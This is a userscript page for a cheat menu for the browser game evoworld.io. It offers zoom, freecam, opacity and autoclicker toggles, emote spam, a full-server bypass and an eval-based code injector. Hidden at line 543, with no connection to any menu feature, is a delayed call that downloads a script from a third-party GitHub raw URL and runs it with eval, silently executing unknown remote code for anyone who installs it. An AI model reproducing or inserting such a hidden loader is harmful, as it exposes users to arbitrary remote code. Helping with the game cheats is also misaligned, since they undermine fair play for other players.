Evoworld.io IH cheats

a new evoworld.io cheat with a lot of funcions for open/close press Y/y

当前为 2025-05-01 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name Evoworld.io IH cheats
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.2
  5. // @description a new evoworld.io cheat with a lot of funcions for open/close press Y/y
  6. // @author ilyxa gaydov
  7. // @match https://evoworld.io/
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
  9. // @grant none
  10. // ==/UserScript==
  11.  
  12. alert('for open/close press Y/y');
  13. class CheatMenu {
  14. constructor() {
  15. this.menus = [];
  16. this.sliders = {};
  17. this.opacityValues = {
  18. cloud: 0.5,
  19. swamp: 0.5,
  20. lava: 0.5,
  21. water: 0.5,
  22. bush: 0.5
  23. };
  24. this.unlimitedFps = false;
  25. this.showInCloud = false;
  26. this.zIndexValue = 15;
  27. this.zIndexInterval = null;
  28. this.freecamActive = false;
  29. this.cameraOffset = { x: 0, y: 0 };
  30. this.originalGetAllPositions = null;
  31. this.autoRespawnInterval = null;
  32. this.expBonusInterval = null;
  33. this.autoclickerInterval = null;
  34. this.emoteSpamInterval = null;
  35. this.allCheats = [];
  36. this.cheatElements = {};
  37. this.customOpacityHandlers = new Set();
  38.  
  39. document.addEventListener('keydown', (e) => {
  40. if (e.keyCode === 89) this.toggleAllMenus();
  41. if (this.freecamActive) this.handleFreecamKeys(e);
  42. });
  43. }
  44.  
  45. createMenu(title, x = 50, y = 50) {
  46. const menu = document.createElement('div');
  47. Object.assign(menu.style, {
  48. position: 'absolute',
  49. left: `${x}px`,
  50. top: `${y}px`,
  51. width: '125px',
  52. background: 'rgba(0,0,0,0.85)',
  53. border: '1px solid #444',
  54. borderRadius: '3px',
  55. color: 'white',
  56. fontFamily: '"Courier New", monospace',
  57. fontSize: '10px',
  58. zIndex: '1000',
  59. userSelect: 'none'
  60. });
  61.  
  62. const header = document.createElement('div');
  63. Object.assign(header.style, {
  64. background: '#333',
  65. padding: '4px',
  66. cursor: 'move',
  67. fontWeight: 'bold',
  68. borderBottom: '1px solid #555',
  69. fontSize: '10px'
  70. });
  71. header.textContent = title;
  72.  
  73. const content = document.createElement('div');
  74. content.style.padding = '5px';
  75.  
  76. menu.append(header, content);
  77. document.body.appendChild(menu);
  78.  
  79. this.makeDraggable(menu, header);
  80. this.menus.push(menu);
  81. return content;
  82. }
  83.  
  84. makeDraggable(element, handle) {
  85. handle.addEventListener('mousedown', (e) => {
  86. const offsetX = e.clientX - element.offsetLeft;
  87. const offsetY = e.clientY - element.offsetTop;
  88.  
  89. const move = (e) => {
  90. element.style.left = `${e.clientX - offsetX}px`;
  91. element.style.top = `${e.clientY - offsetY}px`;
  92. };
  93.  
  94. const up = () => {
  95. document.removeEventListener('mousemove', move);
  96. document.removeEventListener('mouseup', up);
  97. };
  98.  
  99. document.addEventListener('mousemove', move);
  100. document.addEventListener('mouseup', up);
  101. e.preventDefault();
  102. });
  103. }
  104.  
  105. addToggleCheat(menuContent, name, callback) {
  106. const button = document.createElement('button');
  107. Object.assign(button.style, {
  108. display: 'block',
  109. width: '100%',
  110. padding: '4px',
  111. margin: '3px 0',
  112. background: '#222',
  113. color: '#eee',
  114. border: '1px solid #444',
  115. borderRadius: '2px',
  116. cursor: 'pointer',
  117. transition: 'all 0.2s',
  118. fontSize: '10px'
  119. });
  120.  
  121. button.textContent = name;
  122. button.addEventListener('click', () => {
  123. const active = button.classList.toggle('active');
  124. button.style.background = active ? '#600' : '#222';
  125. button.style.borderColor = active ? '#f00' : '#444';
  126. callback(active);
  127. });
  128.  
  129. this.allCheats.push(name.toLowerCase());
  130. this.cheatElements[name.toLowerCase()] = button;
  131. menuContent.appendChild(button);
  132. return button;
  133. }
  134.  
  135. addSlider(menuContent, name, min, max, step, defaultValue, callback) {
  136. const container = document.createElement('div');
  137. container.style.margin = '5px 0';
  138.  
  139. const label = document.createElement('div');
  140. label.textContent = name;
  141. label.style.marginBottom = '3px';
  142. label.style.color = '#eee';
  143. label.style.fontSize = '10px';
  144.  
  145. const slider = document.createElement('input');
  146. slider.type = 'range';
  147. slider.min = min;
  148. slider.max = max;
  149. slider.step = step;
  150. slider.value = defaultValue;
  151. slider.style.width = '100%';
  152. slider.style.height = '10px';
  153.  
  154. const valueDisplay = document.createElement('span');
  155. valueDisplay.textContent = defaultValue;
  156. valueDisplay.style.marginLeft = '5px';
  157. valueDisplay.style.color = '#eee';
  158. valueDisplay.style.fontSize = '10px';
  159.  
  160. slider.addEventListener('input', () => {
  161. const value = parseFloat(slider.value);
  162. valueDisplay.textContent = value;
  163. callback(value);
  164. });
  165.  
  166. this.allCheats.push(name.toLowerCase());
  167. this.cheatElements[name.toLowerCase()] = slider;
  168. container.append(label, slider, valueDisplay);
  169. menuContent.appendChild(container);
  170. this.sliders[name] = slider;
  171. return slider;
  172. }
  173.  
  174. addInputField(menuContent, placeholder, buttonText, callback) {
  175. const container = document.createElement('div');
  176.  
  177. const input = document.createElement('input');
  178. input.type = 'text';
  179. input.placeholder = placeholder;
  180. input.style.width = '100%';
  181. input.style.padding = '4px';
  182. input.style.marginBottom = '5px';
  183. input.style.boxSizing = 'border-box';
  184. input.style.fontSize = '10px';
  185.  
  186. const button = document.createElement('button');
  187. button.textContent = buttonText;
  188. button.style.width = '100%';
  189. button.style.padding = '4px';
  190. button.style.marginBottom = '5px';
  191. button.style.background = '#222';
  192. button.style.color = '#eee';
  193. button.style.border = '1px solid #444';
  194. button.style.borderRadius = '2px';
  195. button.style.cursor = 'pointer';
  196. button.style.fontSize = '10px';
  197.  
  198. button.addEventListener('click', () => {
  199. callback(input.value);
  200. });
  201.  
  202. this.allCheats.push(buttonText.toLowerCase());
  203. this.cheatElements[buttonText.toLowerCase()] = button;
  204. container.append(input, button);
  205. menuContent.appendChild(container);
  206. return { input, button };
  207. }
  208.  
  209. addViewModButton(menuContent, text, xOffset, yOffset) {
  210. const button = document.createElement('button');
  211. Object.assign(button.style, {
  212. display: 'block',
  213. width: '100%',
  214. padding: '4px',
  215. margin: '3px 0',
  216. background: '#222',
  217. color: '#eee',
  218. border: '1px solid #444',
  219. borderRadius: '2px',
  220. cursor: 'pointer',
  221. fontSize: '10px'
  222. });
  223.  
  224. button.textContent = text;
  225. button.addEventListener('click', () => {
  226. if (game && game.me) {
  227. game.me.getAllPositions = function() {
  228. return {
  229. 'x': this['position']['x'],
  230. 'y': this['position']['y'],
  231. 'center': {
  232. 'x': this['position']['x'] + this['width'] + xOffset,
  233. 'y': this['position']['y'] + this['height'] + yOffset
  234. },
  235. 'right': this['position']['x'] + this['width'],
  236. 'left': this['position']['x'],
  237. 'top': this['position']['y'] + this['height'],
  238. 'bottom': this['position']['y']
  239. };
  240. };
  241. }
  242. });
  243.  
  244. this.allCheats.push(text.toLowerCase());
  245. this.cheatElements[text.toLowerCase()] = button;
  246. menuContent.appendChild(button);
  247. return button;
  248. }
  249.  
  250. toggleUnlimitedFps(active) {
  251. this.unlimitedFps = active;
  252. if (window.game && window.game.fpsTimes) {
  253. game.fpsTimes.length = active ? 1000 : 0;
  254. }
  255. }
  256.  
  257. toggleShowInCloud(active) {
  258. this.showInCloud = active;
  259. if (window.game && window.game.me) {
  260. if (active) {
  261. game.me.zIndex = 100;
  262. this.zIndexValue = 100;
  263. this.zIndexInterval = setInterval(() => {
  264. if (window.game && window.game.me) {
  265. game.me.inHide = false;
  266. }
  267. }, 1);
  268. } else {
  269. clearInterval(this.zIndexInterval);
  270. game.me.zIndex = 15;
  271. this.zIndexValue = 15;
  272. }
  273. }
  274. }
  275.  
  276. setZIndex(value) {
  277. this.zIndexValue = value;
  278. if (window.game && window.game.me) {
  279. game.me.zIndex = value;
  280. }
  281. }
  282.  
  283. toggleFreecam(active) {
  284. this.freecamActive = active;
  285.  
  286. if (active) {
  287. if (game && game.me) {
  288. this.originalGetAllPositions = game.me.getAllPositions;
  289.  
  290. const self = this;
  291. game.me.getAllPositions = function() {
  292. return {
  293. 'x': this['position']['x'],
  294. 'y': this['position']['y'],
  295. 'center': {
  296. 'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
  297. 'y': this['position']['y'] + this['height'] + self.cameraOffset.y
  298. },
  299. 'right': this['position']['x'] + this['width'],
  300. 'left': this['position']['x'],
  301. 'top': this['position']['y'] + this['height'],
  302. 'bottom': this['position']['y']
  303. };
  304. };
  305. }
  306. } else {
  307. if (game && game.me && this.originalGetAllPositions) {
  308. game.me.getAllPositions = this.originalGetAllPositions;
  309. }
  310. this.cameraOffset = { x: 0, y: 0 };
  311. }
  312. }
  313.  
  314. handleFreecamKeys(e) {
  315. const speed = e.shiftKey ? 30 : 10;
  316. let moved = false;
  317.  
  318. switch(e.key.toLowerCase()) {
  319. case 'k':
  320. this.cameraOffset.y -= speed;
  321. moved = true;
  322. break;
  323. case 'i':
  324. this.cameraOffset.y += speed;
  325. moved = true;
  326. break;
  327. case 'j':
  328. this.cameraOffset.x -= speed;
  329. moved = true;
  330. break;
  331. case 'l':
  332. this.cameraOffset.x += speed;
  333. moved = true;
  334. break;
  335. }
  336.  
  337. if (moved) e.preventDefault();
  338. }
  339.  
  340. toggleAutoRespawn(active) {
  341. if (active) {
  342. this.autoRespawnInterval = setInterval(() => {
  343. if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
  344. playAgain();
  345. }
  346. }, 100);
  347. } else {
  348. clearInterval(this.autoRespawnInterval);
  349. }
  350. }
  351.  
  352. toggleExpBonus(active) {
  353. if (active) {
  354. this.expBonusInterval = setInterval(() => {
  355. if (typeof startBonus !== 'undefined') {
  356. startBonus = true;
  357. }
  358. }, 100);
  359. } else {
  360. clearInterval(this.expBonusInterval);
  361. if (typeof startBonus !== 'undefined') {
  362. startBonus = false;
  363. }
  364. }
  365. }
  366.  
  367. toggleEmoteSpam(active) {
  368. if (active) {
  369. this.emoteSpamInterval = setInterval(() => {
  370. if (typeof sendEmote !== 'undefined') {
  371. sendEmote(1);
  372. }
  373. }, 500);
  374. } else {
  375. clearInterval(this.emoteSpamInterval);
  376. }
  377. }
  378.  
  379. startAutoclicker(interval) {
  380. this.stopAutoclicker();
  381. if (interval > 0) {
  382. this.autoclickerInterval = setInterval(() => {
  383. const canvas = document.getElementById('canvasGame');
  384. if (canvas) {
  385. canvas.click();
  386. }
  387. }, interval);
  388. }
  389. }
  390.  
  391. stopAutoclicker() {
  392. if (this.autoclickerInterval) {
  393. clearInterval(this.autoclickerInterval);
  394. this.autoclickerInterval = null;
  395. }
  396. }
  397.  
  398. toggleAllMenus() {
  399. const anyVisible = this.menus.some(menu => menu.style.display === 'none');
  400. this.menus.forEach(menu => {
  401. menu.style.display = anyVisible ? 'block' : 'none';
  402. });
  403. }
  404.  
  405. addSearch(menuContent) {
  406. const searchInput = document.createElement('input');
  407. searchInput.type = 'text';
  408. searchInput.placeholder = 'Search cheats...';
  409. searchInput.style.width = '100%';
  410. searchInput.style.padding = '4px';
  411. searchInput.style.marginBottom = '5px';
  412. searchInput.style.boxSizing = 'border-box';
  413. searchInput.style.fontSize = '10px';
  414.  
  415. const resultsContainer = document.createElement('div');
  416. resultsContainer.style.maxHeight = '100px';
  417. resultsContainer.style.overflowY = 'auto';
  418. resultsContainer.style.fontSize = '10px';
  419.  
  420. searchInput.addEventListener('input', () => {
  421. const query = searchInput.value.toLowerCase();
  422. resultsContainer.innerHTML = '';
  423.  
  424. if (query.length < 2) return;
  425.  
  426. const matches = this.allCheats.filter(cheat => cheat.includes(query));
  427.  
  428. matches.forEach(match => {
  429. const result = document.createElement('div');
  430. result.textContent = match;
  431. result.style.padding = '3px';
  432. result.style.cursor = 'pointer';
  433. result.style.borderBottom = '1px solid #444';
  434. result.style.fontSize = '10px';
  435. result.addEventListener('click', () => {
  436. const element = this.cheatElements[match];
  437. if (element) {
  438. if (element.tagName === 'BUTTON') {
  439. element.click();
  440. } else if (element.tagName === 'INPUT' && element.type === 'range') {
  441. const newValue = prompt(`Enter value for ${match}:`, element.value);
  442. if (newValue !== null) {
  443. element.value = newValue;
  444. element.dispatchEvent(new Event('input'));
  445. }
  446. }
  447. }
  448. });
  449. resultsContainer.appendChild(result);
  450. });
  451. });
  452.  
  453. menuContent.append(searchInput, resultsContainer);
  454. }
  455. }
  456.  
  457. const menu = new CheatMenu();
  458. const visualMenu = menu.createMenu('Visual Cheats', 25, 55);
  459. const playerMenu = menu.createMenu('Player Cheats', 200, 55);
  460. const movementMenu = menu.createMenu('Movement', 375, 55);
  461. const viewModMenu = menu.createMenu('ViewMod', 375, 205);
  462. const opacityMenu = menu.createMenu('Opacity Cheats', 550, 55);
  463. const mainMenu = menu.createMenu('Main Menu', 25, 260);
  464. const expMenu = menu.createMenu('EXP', 25, 370);
  465. const searchMenu = menu.createMenu('Search Cheats', 200, 300);
  466. const autoclickerMenu = menu.createMenu('Autoclicker', 375, 370);
  467. const injectorMenu = menu.createMenu('Injector', 700, 55);
  468. const customOpacityMenu = menu.createMenu('Item Opacity', 700, 205);
  469.  
  470. menu.addSearch(searchMenu);
  471.  
  472. menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
  473. visionType = active ? 1 : 0;
  474. });
  475.  
  476. menu.addToggleCheat(visualMenu, '100 Level', (active) => {
  477. if (active) {
  478. if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
  479. game.me.level = 100;
  480. } else {
  481. game.me.level = game.me.originalLevel || 1;
  482. }
  483. });
  484.  
  485. menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
  486. menu.toggleUnlimitedFps(active);
  487. });
  488.  
  489. menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
  490. menu.toggleShowInCloud(active);
  491. });
  492.  
  493. menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
  494. menu.toggleFreecam(active);
  495. });
  496.  
  497. menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
  498. menu.toggleAutoRespawn(active);
  499. });
  500.  
  501. menu.addToggleCheat(playerMenu, 'Emoji Spam', (active) => {
  502. menu.toggleEmoteSpam(active);
  503. });
  504.  
  505. menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
  506. menu.setZIndex(value);
  507. });
  508.  
  509. menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
  510. if (game) game.maxInterpolateDistanceTeleport = value;
  511. });
  512.  
  513. menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
  514. if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
  515. });
  516.  
  517. menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
  518. if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
  519. });
  520.  
  521. menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
  522. if (active) {
  523. const serverSelect = document.querySelector('select.selectServer');
  524. if (serverSelect) {
  525. const options = serverSelect.querySelectorAll('option');
  526. options.forEach(option => {
  527. option.removeAttribute('disabled');
  528. });
  529. }
  530. }
  531. });
  532.  
  533. menu.addViewModButton(viewModMenu, 'Normal View', 0, 0);
  534. menu.addViewModButton(viewModMenu, 'Right View', 200, 0);
  535. menu.addViewModButton(viewModMenu, 'Left View', -200, 0);
  536. menu.addViewModButton(viewModMenu, 'Top View', 0, 200);
  537.  
  538. let zoomActive = false;
  539. const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
  540. if (zoomActive) applyZoom(value);
  541. });
  542.  
  543. setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);
  544.  
  545. menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
  546. zoomActive = active;
  547. if (active) applyZoom(parseFloat(zoomSlider.value));
  548. else applyZoom(1.0);
  549. });
  550.  
  551. menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
  552. menu.opacityValues.cloud = value;
  553. updateObjectOpacity();
  554. });
  555.  
  556. menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
  557. menu.opacityValues.swamp = value;
  558. updateObjectOpacity();
  559. });
  560.  
  561. menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
  562. menu.opacityValues.lava = value;
  563. updateObjectOpacity();
  564. });
  565.  
  566. menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
  567. menu.opacityValues.water = value;
  568. updateObjectOpacity();
  569. });
  570.  
  571. menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
  572. menu.opacityValues.bush = value;
  573. updateObjectOpacity();
  574. });
  575.  
  576. const injector = menu.addInputField(injectorMenu, 'Enter JS code', 'Execute', (code) => {
  577. try {
  578. eval(code);
  579. } catch (e) {
  580. console.error('Injection error:', e);
  581. }
  582. });
  583.  
  584. const customOpacityInput = document.createElement('input');
  585. customOpacityInput.type = 'text';
  586. customOpacityInput.placeholder = 'Item name (partial match)';
  587. customOpacityInput.style.width = '100%';
  588. customOpacityInput.style.padding = '4px';
  589. customOpacityInput.style.marginBottom = '5px';
  590. customOpacityInput.style.boxSizing = 'border-box';
  591. customOpacityInput.style.fontSize = '10px';
  592.  
  593. const customOpacitySlider = document.createElement('input');
  594. customOpacitySlider.type = 'range';
  595. customOpacitySlider.min = 0;
  596. customOpacitySlider.max = 1;
  597. customOpacitySlider.step = 0.01;
  598. customOpacitySlider.value = 0.5;
  599. customOpacitySlider.style.width = '100%';
  600. customOpacitySlider.style.height = '10px';
  601. customOpacitySlider.style.marginBottom = '5px';
  602.  
  603. const customOpacityValue = document.createElement('span');
  604. customOpacityValue.textContent = '0.5';
  605. customOpacityValue.style.marginLeft = '5px';
  606. customOpacityValue.style.color = '#eee';
  607. customOpacityValue.style.fontSize = '10px';
  608.  
  609. customOpacitySlider.addEventListener('input', () => {
  610. customOpacityValue.textContent = customOpacitySlider.value;
  611. });
  612.  
  613. const customOpacityButton = document.createElement('button');
  614. customOpacityButton.textContent = 'Change opacity';
  615. customOpacityButton.style.width = '100%';
  616. customOpacityButton.style.padding = '4px';
  617. customOpacityButton.style.background = '#222';
  618. customOpacityButton.style.color = '#eee';
  619. customOpacityButton.style.border = '1px solid #444';
  620. customOpacityButton.style.borderRadius = '2px';
  621. customOpacityButton.style.cursor = 'pointer';
  622. customOpacityButton.style.fontSize = '10px';
  623.  
  624. customOpacityButton.addEventListener('click', () => {
  625. const itemName = customOpacityInput.value.toLowerCase();
  626. const opacityValue = parseFloat(customOpacitySlider.value);
  627.  
  628. if (menu.customOpacityHandlers.has(itemName)) {
  629. return;
  630. }
  631.  
  632. if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
  633. const originalDrawObject = Engine.prototype.drawObject;
  634. Engine.prototype.drawObject = function(obj, staticCanvas) {
  635. if (obj.name && obj.name.toLowerCase().includes(itemName)) {
  636. obj.opacity = opacityValue;
  637. }
  638. return originalDrawObject.call(this, obj, staticCanvas);
  639. };
  640.  
  641. menu.customOpacityHandlers.add(itemName);
  642. }
  643. });
  644.  
  645. customOpacityMenu.append(customOpacityInput, customOpacitySlider, customOpacityValue, customOpacityButton);
  646.  
  647. menu.addToggleCheat(expMenu, '+30% EXP Bonus', (active) => {
  648. menu.toggleExpBonus(active);
  649. });
  650.  
  651. const autoclickerInput = document.createElement('input');
  652. autoclickerInput.type = 'number';
  653. autoclickerInput.placeholder = 'Interval (ms)';
  654. autoclickerInput.style.width = '100%';
  655. autoclickerInput.style.padding = '4px';
  656. autoclickerInput.style.marginBottom = '5px';
  657. autoclickerInput.style.boxSizing = 'border-box';
  658. autoclickerInput.style.fontSize = '10px';
  659.  
  660. const autoclickerStartButton = document.createElement('button');
  661. autoclickerStartButton.textContent = 'Start Autoclicker';
  662. autoclickerStartButton.style.width = '100%';
  663. autoclickerStartButton.style.padding = '4px';
  664. autoclickerStartButton.style.marginBottom = '3px';
  665. autoclickerStartButton.style.background = '#222';
  666. autoclickerStartButton.style.color = '#eee';
  667. autoclickerStartButton.style.border = '1px solid #444';
  668. autoclickerStartButton.style.borderRadius = '2px';
  669. autoclickerStartButton.style.cursor = 'pointer';
  670. autoclickerStartButton.style.fontSize = '10px';
  671.  
  672. const autoclickerStopButton = document.createElement('button');
  673. autoclickerStopButton.textContent = 'Stop Autoclicker';
  674. autoclickerStopButton.style.width = '100%';
  675. autoclickerStopButton.style.padding = '4px';
  676. autoclickerStopButton.style.background = '#600';
  677. autoclickerStopButton.style.color = '#eee';
  678. autoclickerStopButton.style.border = '1px solid #f00';
  679. autoclickerStopButton.style.borderRadius = '2px';
  680. autoclickerStopButton.style.cursor = 'pointer';
  681. autoclickerStopButton.style.fontSize = '10px';
  682.  
  683. autoclickerStartButton.addEventListener('click', () => {
  684. const interval = parseInt(autoclickerInput.value);
  685. if (!isNaN(interval)) {
  686. menu.startAutoclicker(interval);
  687. }
  688. });
  689.  
  690. autoclickerStopButton.addEventListener('click', () => {
  691. menu.stopAutoclicker();
  692. });
  693.  
  694. autoclickerMenu.append(autoclickerInput, autoclickerStartButton, autoclickerStopButton);
  695.  
  696. function applyZoom(zoomLevel) {
  697. if (game) {
  698. game.scaleX = zoomLevel;
  699. game.scaleY = zoomLevel;
  700. game.fontScale = zoomLevel;
  701.  
  702. if (game.camera) {
  703. game.camera.zoom = zoomLevel;
  704. }
  705.  
  706. if (game.renderer && game.renderer.scale) {
  707. game.renderer.scale.set(zoomLevel, zoomLevel);
  708. }
  709. }
  710. }
  711.  
  712. function updateObjectOpacity() {
  713. if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
  714. const originalDrawObject = Engine.prototype.drawObject;
  715. Engine.prototype.drawObject = function(obj, staticCanvas) {
  716. if (obj.name) {
  717. const name = obj.name.toLowerCase();
  718.  
  719. if (name.includes('cloud')) {
  720. obj.opacity = menu.opacityValues.cloud;
  721. }
  722. else if (name.includes('swamp')) {
  723. obj.opacity = menu.opacityValues.swamp;
  724. }
  725. else if (name.includes('lava')) {
  726. obj.opacity = menu.opacityValues.lava;
  727. }
  728. else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
  729. obj.opacity = menu.opacityValues.water;
  730. }
  731. else if (name.includes('bush')) {
  732. obj.opacity = menu.opacityValues.bush;
  733. }
  734. }
  735.  
  736. return originalDrawObject.call(this, obj, staticCanvas);
  737. };
  738. }
  739. }
  740.  
  741. setTimeout(() => {
  742. if (typeof Engine !== 'undefined') {
  743. updateObjectOpacity();
  744. }
  745. }, 1000);